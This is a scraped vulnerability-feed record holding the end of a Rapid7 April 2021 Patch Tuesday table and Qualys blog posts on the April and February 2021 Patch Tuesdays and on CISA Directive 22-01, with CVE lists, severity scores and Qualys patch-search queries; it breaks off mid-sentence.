\n[CVE-2021-28357](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28357>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28358](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28358>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28434](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28434>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-27091](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27091>) | RPC Endpoint Mapper Service Elevation of Privilege Vulnerability | No | Yes | 7.8 | No \n[CVE-2021-27096](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27096>) | NTFS Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28317](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28317>) | Microsoft Windows Codecs Library Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-27089](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27089>) | Microsoft Internet Messaging API Remote Code Execution Vulnerability | No | No | 7.8 | No \n \n## Summary Graphs\n\n![Patch Tuesday - April 2021](https://blog.rapid7.com/content/images/2021/04/output_18_2.png)![Patch Tuesday - April 2021](https://blog.rapid7.com/content/images/2021/04/output_20_2.png)![Patch Tuesday - April 2021](https://blog.rapid7.com/content/images/2021/04/output_26_1.png)![Patch Tuesday - April 2021](https://blog.rapid7.com/content/images/2021/04/output_25_1.png)", "cvss3": {}, "published": "2021-04-13T17:37:00", "type": "rapid7blog", "title": "Patch Tuesday - April 2021", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-21194", "CVE-2021-21195", "CVE-2021-21196", "CVE-2021-21197", "CVE-2021-21198", "CVE-2021-21199", "CVE-2021-26413", "CVE-2021-26415", "CVE-2021-26416", "CVE-2021-26417", "CVE-2021-27064", "CVE-2021-27067", "CVE-2021-27072", "CVE-2021-27079", "CVE-2021-27086", "CVE-2021-27088", "CVE-2021-27089", "CVE-2021-27090", "CVE-2021-27091", "CVE-2021-27092", "CVE-2021-27093", "CVE-2021-27094", "CVE-2021-27095", "CVE-2021-27096", "CVE-2021-28309", "CVE-2021-28310", "CVE-2021-28311", "CVE-2021-28312", "CVE-2021-28313", "CVE-2021-28314", "CVE-2021-28315", "CVE-2021-28316", "CVE-2021-28317", "CVE-2021-28318", "CVE-2021-28319", "CVE-2021-28320", "CVE-2021-28321", "CVE-2021-28322", "CVE-2021-28323", "CVE-2021-28324", "CVE-2021-28325", "CVE-2021-28326", "CVE-2021-28327", "CVE-2021-28328", "CVE-2021-28329", "CVE-2021-28330", "CVE-2021-28331", "CVE-2021-28332", "CVE-2021-28333", "CVE-2021-28334", "CVE-2021-28335", "CVE-2021-28336", "CVE-2021-28337", "CVE-2021-28338", "CVE-2021-28339", "CVE-2021-28340", "CVE-2021-28341", "CVE-2021-28342", "CVE-2021-28343", "CVE-2021-28344", "CVE-2021-28345", "CVE-2021-28346", "CVE-2021-28347", "CVE-2021-28348", "CVE-2021-28349", "CVE-2021-28350", "CVE-2021-28351", "CVE-2021-28352", "CVE-2021-28353", "CVE-2021-28354", "CVE-2021-28355", "CVE-2021-28356", "CVE-2021-28357", "CVE-2021-28358", "CVE-2021-28434", "CVE-2021-28435", "CVE-2021-28436", "CVE-2021-28437", "CVE-2021-28438", "CVE-2021-28439", "CVE-2021-28440", "CVE-2021-28441", "CVE-2021-28442", "CVE-2021-28443", "CVE-2021-28444", "CVE-2021-28445", "CVE-2021-28446", "CVE-2021-28447", "CVE-2021-28448", "CVE-2021-28449", "CVE-2021-28450", "CVE-2021-28451", "CVE-2021-28452", "CVE-2021-28453", "CVE-2021-28454", "CVE-2021-28456", "CVE-2021-28457", "CVE-2021-28458", "CVE-2021-28459", "CVE-2021-28460", "CVE-2021-28464", "CVE-2021-28466", "CVE-2021-28468", "CVE-2021-28469", "CVE-2021-28470", "CVE-2021-28471", "CVE-2021-28472", "CVE-2021-28473", "CVE-2021-28475", "CVE-2021-28477", "CVE-2021-28480", "CVE-2021-28481", "CVE-2021-28482", "CVE-2021-28483"], "modified": "2021-04-13T17:37:00", "id": "RAPID7BLOG:452CCDC1AEFFF7056148871E86A6FE26", "href": "https://blog.rapid7.com/2021/04/13/patch-tuesday-april-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-04-15T20:03:36", "description": "This month\u2019s Microsoft Patch Tuesday addresses 108 vulnerabilities, of which 19 are rated critical severity and 88 are rated high severity. Adobe released patches for its Photoshop, Digital Editions, and Bridge products.\n\n#### CVE-2021-28310: Win32k Elevation of Privilege Vulnerability\n\nMicrosoft released patches addressing another 0-day vulnerability (CVE-2021-28310). CVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). There is a public exploit available which is being used in the wild. BITTER APT group is suspected of exploiting this CVE in the wild. This CVE has a temporal score of 7.2 from the vendor and should be prioritized for patching.\n\n#### Microsoft Exchange Server Remote Code Execution (RCE) Vulnerabilities\n\nMicrosoft released patches to fix critical RCE vulnerabilities in MS Exchange Server: CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483. CVE-2021-28480 and CVE-2021-28481 have a critical severity score of 9.8 out of 10 and could be exploited without authentication.\n\n### Discover Patch Tuesday Vulnerabilities in VMDR\n\n[Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) automatically detects new Patch Tuesday vulnerabilities using continuous updates to its Knowledge Base (KB).\n\nYou can see all your impacted hosts by these vulnerabilities using the following QQL query:\n\n`vulnerabilities.vulnerability.qid:[`110377`, `110378`, `110379`, `375445`, `375446`, `375450`, `375451`, `375452`, `375453`, `375454`, `375455`, `50109`, `91757`, `91758`, `91759`, `91760`, `91761`]` \n\n![](https://blog.qualys.com/wp-content/uploads/2021/04/image001-3-1070x579.png)\n\n### Respond by Patching\n\nVMDR rapidly remediates Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select respective QIDs in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go.\n\nThe following QQL will return the missing patches pertaining to this Patch Tuesday.\n\n`qid:110377 OR qid:110378 OR qid:110379 OR qid:375445 OR qid:375446 OR qid:375450 OR qid:375451 OR qid:375452 OR qid:375453 OR qid:375454 OR qid:375455 OR qid:50109 OR qid:91757 OR qid:91758 OR qid:91759 OR qid:91760 OR qid:91761`\n\n![](https://blog.qualys.com/wp-content/uploads/2021/04/image002-4-1070x588.png)\n\n### Patch Tuesday Dashboard\n\nThe current updated Patch Tuesday dashboards are available in [Dashboard Toolbox: 2021 Patch Tuesday Dashboard](<https://qualys-secure.force.com/discussions/s/article/000006505>).\n\n#### Workstation Patches\n\nMicrosoft Office vulnerabilities should be prioritized for workstation-type devices.\n\n### Adobe\n\nAdobe issued patches today covering multiple vulnerabilities in Photoshop, Digital Editions, and Bridge products. Patching Adobe Photoshop for CVE-2021-28542, CVE-2021-28549 and Digital Editions for CVE-2021-21100 should be prioritized due to their critical impact.\n\n### Webinar Series: This Month in Patches\n\nTo help customers leverage the seamless integration between Qualys VMDR and Patch Management and reduce the median time to remediate critical vulnerabilities, the Qualys Research team is excited to announce the start of a new monthly webinar series \u201c[This Month in Patches](<https://www.brighttalk.com/webcast/11673/479772>).\u201d\n\nIn this new monthly webinar series, which will occur on every **Thursday after Patch Tuesday**, Qualys Research team will discuss some of the key vulnerabilities disclosed in the past month (including Microsoft Patch Tuesday) and how to patch them.\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {}, "published": "2021-04-14T18:09:08", "type": "qualysblog", "title": "April 2021 Patch Tuesday \u2013 108 Vulnerabilities, 19 Critical, Adobe", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-21100", "CVE-2021-28310", "CVE-2021-28480", "CVE-2021-28481", "CVE-2021-28482", "CVE-2021-28483", "CVE-2021-28542", "CVE-2021-28549"], "modified": "2021-04-14T18:09:08", "id": "QUALYSBLOG:352650F44A686E31669777DBEC831101", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-03T12:28:18", "description": "This month\u2019s Microsoft Patch Tuesday addresses 56 vulnerabilities, of which 11 are rated as Critical. Adobe released patches today for Reader, Acrobat, Magento, Photoshop, Animate, Illustrator, and Dreamweaver.\n\n### TCP/IP Trio\n\nMicrosoft released a set of fixes affecting Windows TCP/IP implementation that include two Critical Remote Code Execution (RCE) vulnerabilities (CVE-2021-24074 and CVE-2021-24094) and an Important Denial of Service (DoS) vulnerability (CVE-2021-24086). While there is no evidence that these vulnerabilities are exploited in wild, these vulnerabilities should be prioritized given their impact.\n\n### Windows Fax Service\n\nMicrosoft released patches to fix a remote code execution vulnerability in Windows Fax Service (CVE-2021-24077). This vulnerability has a CVSSv3 base score of 9.8 and should be prioritized for patching.\n\n### Windows DNS Server\n\nMicrosoft released patches to fix a remote code execution vulnerability in Windows DNS Server (CVE-2021-24078). This vulnerability has a CVSSv3 base score of 9.8 and should be prioritized for patching.\n\n### Windows Win32k Elevation of Privilege\n\nMicrosoft released updates to fix a local privilege escalation vulnerability in Win32K (CVE-2021-1732). This vulnerability is reportedly exploited in the wild and should be prioritized for patching.\n\n### Workstation Patches\n\nMicrosoft Office vulnerabilities should be prioritized for workstation-type devices.\n\n### Adobe\n\nAdobe issued patches today covering multiple vulnerabilities in Adobe Reader, Acrobat, Magento, Photoshop, Animate, Illustrator, and Dreamweaver. Patching Adobe Acrobat and Reader should be prioritized as Adobe has received reports of CVE-2021-21017 exploited in wild targeting Adobe Reader users on Windows.\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {}, "published": "2021-02-09T20:22:38", "type": "qualysblog", "title": "February 2021 Patch Tuesday \u2013 56 Vulnerabilities, 11 Critical, Adobe", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-1732", "CVE-2021-21017", "CVE-2021-24074", "CVE-2021-24077", "CVE-2021-24078", "CVE-2021-24086", "CVE-2021-24094"], "modified": "2021-02-09T20:22:38", "id": "QUALYSBLOG:AD927BF1D1CDE26A3D54D9452C330BB3", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), "Reducing the Significant Risk of Known Exploited Vulnerabilities." [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in 'CISA's vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations' digital infrastructure and automate remediation. Qualys' guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency's behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA's public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA's Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n![](https://blog.qualys.com/wp-content/uploads/2021/11/Picture1.jpg)\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n![](https://blog.qualys.com/wp-content/uploads/2021/11/Picture2.jpg)\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n![](https://blog.qualys.com/wp-content/uploads/2021/11/Picture3.png)\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the ["CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES"](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n![](https://blog.qualys.com/wp-content/uploads/2021/11/Picture4.png)\n\n### Summary Dashboard High Level Structured by Vendor:\n\n![](https://blog.qualys.com/wp-content/uploads/2021/11/Picture5.png)\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most "Category 2" vulnerabilities by **November 17, 2021**, and "Category 3" by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive's aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n![](https://blog.qualys.com/wp-content/uploads/2021/11/Picture6.jpg)\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:['CVE-2021-1732\u2032,'CVE-2020-1350\u2032,'CVE-2020-1472\u2032,'CVE-2021-26855\u2032,'CVE-2021-26858\u2032,'CVE-2021-27065\u2032,'CVE-2020-0601\u2032,'CVE-2021-26857\u2032,'CVE-2021-22893\u2032,'CVE-2020-8243\u2032,'CVE-2021-22900\u2032,'CVE-2021-22894\u2032,'CVE-2020-8260\u2032,'CVE-2021-22899\u2032,'CVE-2019-11510']\n\n![](https://blog.qualys.com/wp-content/uploads/2021/11/Picture7.jpg)\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it's a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys' threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-Actual-1.jpg)\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-2.jpg)\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-3.jpg)\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-4-scaled.jpg)\n\n### Remediation\n\nTo comply 